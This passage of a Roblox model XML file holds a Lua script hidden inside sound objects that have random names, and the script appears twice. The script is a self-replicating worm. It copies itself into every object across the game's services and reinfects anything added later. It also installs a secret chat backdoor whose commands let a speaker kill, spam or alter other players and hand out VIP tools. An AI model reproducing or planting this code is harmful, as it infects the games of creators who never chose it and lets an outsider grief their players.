jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX463">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-27.8017235</X>
								<Y>1.32225287</Y>
								<Z>139.887329</Z>
								<R00>-0.538089991</R00>
								<R01>2.00345858e-006</R01>
								<R02>0.842887282</R02>
								<R10>2.63803122e-006</R10>
								<R11>1</R11>
								<R12>-6.92809181e-007</R12>
								<R20>-0.842887282</R20>
								<R21>1.85076931e-006</R21>
								<R22>-0.538089991</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX464">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">s5vrby</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX465">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">mu1aat0</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX466">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
